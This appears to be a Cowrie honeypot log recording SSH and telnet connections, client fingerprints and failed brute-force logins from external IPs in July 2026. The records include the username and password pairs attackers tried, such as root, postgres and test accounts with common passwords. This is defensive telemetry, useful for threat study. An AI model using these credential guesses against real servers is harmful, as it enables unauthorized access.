{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:15:23.076683Z","src_ip":"185.113.139.51","session":"8e17265b74b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1QA2ws3ed","message":"login attempt [root/1QA2ws3ed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:15:23.512054Z","src_ip":"185.113.139.51","session":"8e17265b74b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:15:24.614498Z","src_ip":"185.113.139.51","session":"8e17265b74b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":39776,"dst_ip":"159.203.135.109","dst_port":23,"session":"08ac74425b56","protocol":"telnet","message":"New connection: 137.184.5.188:39776 (159.203.135.109:23) [session: 08ac74425b56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:15:28.899570Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.55.144.22","src_port":54316,"dst_ip":"159.203.135.109","dst_port":22,"session":"43ac968a9545","protocol":"ssh","message":"New connection: 14.55.144.22:54316 (159.203.135.109:22) [session: 43ac968a9545]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:15:37.179298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:15:37.184348Z","src_ip":"14.55.144.22","session":"43ac968a9545","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:15:37.384552Z","src_ip":"14.55.144.22","session":"43ac968a9545","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"website","message":"login attempt [root/website] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:15:38.189837Z","src_ip":"14.55.144.22","session":"43ac968a9545","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:15:39.404647Z","src_ip":"14.55.144.22","session":"43ac968a9545","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.86.198.253","src_port":57382,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb547a2c4ece","protocol":"ssh","message":"New connection: 103.86.198.253:57382 (159.203.135.109:22) [session: eb547a2c4ece]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:15:39.756123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:15:39.760461Z","src_ip":"103.86.198.253","session":"eb547a2c4ece","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:15:40.028362Z","src_ip":"103.86.198.253","session":"eb547a2c4ece","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"adminadmin","message":"login attempt [postgres/adminadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:15:41.117711Z","src_ip":"103.86.198.253","session":"eb547a2c4ece","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:15:42.385493Z","src_ip":"103.86.198.253","session":"eb547a2c4ece","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.58031964302063,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:16:13.479756Z","src_ip":"137.184.5.188","session":"08ac74425b56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":35270,"dst_ip":"159.203.135.109","dst_port":23,"session":"7220fd25f47c","protocol":"telnet","message":"New connection: 170.64.224.25:35270 (159.203.135.109:23) [session: 7220fd25f47c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:16:21.700935Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.115.34","src_port":43390,"dst_ip":"159.203.135.109","dst_port":22,"session":"aabd738497fc","protocol":"ssh","message":"New connection: 154.16.115.34:43390 (159.203.135.109:22) [session: aabd738497fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:16:24.596528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:16:24.600944Z","src_ip":"154.16.115.34","session":"aabd738497fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:16:24.626338Z","src_ip":"154.16.115.34","session":"aabd738497fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"D@y$P@ssw0rd","message":"login attempt [root/D@y$P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:16:24.718518Z","src_ip":"154.16.115.34","session":"aabd738497fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":46532,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed89c7a9eb1c","protocol":"ssh","message":"New connection: 91.92.40.176:46532 (10.17.0.5:22) [session: ed89c7a9eb1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:16:25.711071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:16:25.714982Z","src_ip":"91.92.40.176","session":"ed89c7a9eb1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:16:25.746398Z","src_ip":"154.16.115.34","session":"aabd738497fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:16:25.796087Z","src_ip":"91.92.40.176","session":"ed89c7a9eb1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:16:26.046746Z","src_ip":"91.92.40.176","session":"ed89c7a9eb1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:16:27.130238Z","src_ip":"91.92.40.176","session":"ed89c7a9eb1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.179.197.26","src_port":52874,"dst_ip":"159.203.135.109","dst_port":22,"session":"86dcb7f9a7ae","protocol":"ssh","message":"New connection: 31.179.197.26:52874 (159.203.135.109:22) [session: 86dcb7f9a7ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:16:32.440812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:16:32.445104Z","src_ip":"31.179.197.26","session":"86dcb7f9a7ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:16:32.560458Z","src_ip":"31.179.197.26","session":"86dcb7f9a7ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sfs","password":"sfs123","message":"login attempt [sfs/sfs123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:16:33.043000Z","src_ip":"31.179.197.26","session":"86dcb7f9a7ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:16:34.158904Z","src_ip":"31.179.197.26","session":"86dcb7f9a7ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.892759799957275,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:16:52.593551Z","src_ip":"170.64.224.25","session":"7220fd25f47c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.148.179","src_port":35026,"dst_ip":"159.203.135.109","dst_port":22,"session":"551b8ca43878","protocol":"ssh","message":"New connection: 45.61.148.179:35026 (159.203.135.109:22) [session: 551b8ca43878]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:16:55.820487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:16:55.824550Z","src_ip":"45.61.148.179","session":"551b8ca43878","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:16:55.888038Z","src_ip":"45.61.148.179","session":"551b8ca43878","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dt123456.","message":"login attempt [root/Dt123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:16:56.208966Z","src_ip":"45.61.148.179","session":"551b8ca43878","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:16:57.275100Z","src_ip":"45.61.148.179","session":"551b8ca43878","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.108.61","src_port":45606,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3bec1d1d273","protocol":"ssh","message":"New connection: 144.91.108.61:45606 (10.17.0.5:22) [session: c3bec1d1d273]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:17:17.260460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:17:17.264133Z","src_ip":"144.91.108.61","session":"c3bec1d1d273","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:17:17.355019Z","src_ip":"144.91.108.61","session":"c3bec1d1d273","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"coinomi","password":"coinomi123","message":"login attempt [coinomi/coinomi123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:17:17.630387Z","src_ip":"144.91.108.61","session":"c3bec1d1d273","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:17:18.725763Z","src_ip":"144.91.108.61","session":"c3bec1d1d273","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.113.139.51","src_port":45562,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a065f8a5f4b","protocol":"ssh","message":"New connection: 185.113.139.51:45562 (159.203.135.109:22) [session: 7a065f8a5f4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:17:20.671054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:17:20.674155Z","src_ip":"185.113.139.51","session":"7a065f8a5f4b","protocol":"ssh"}
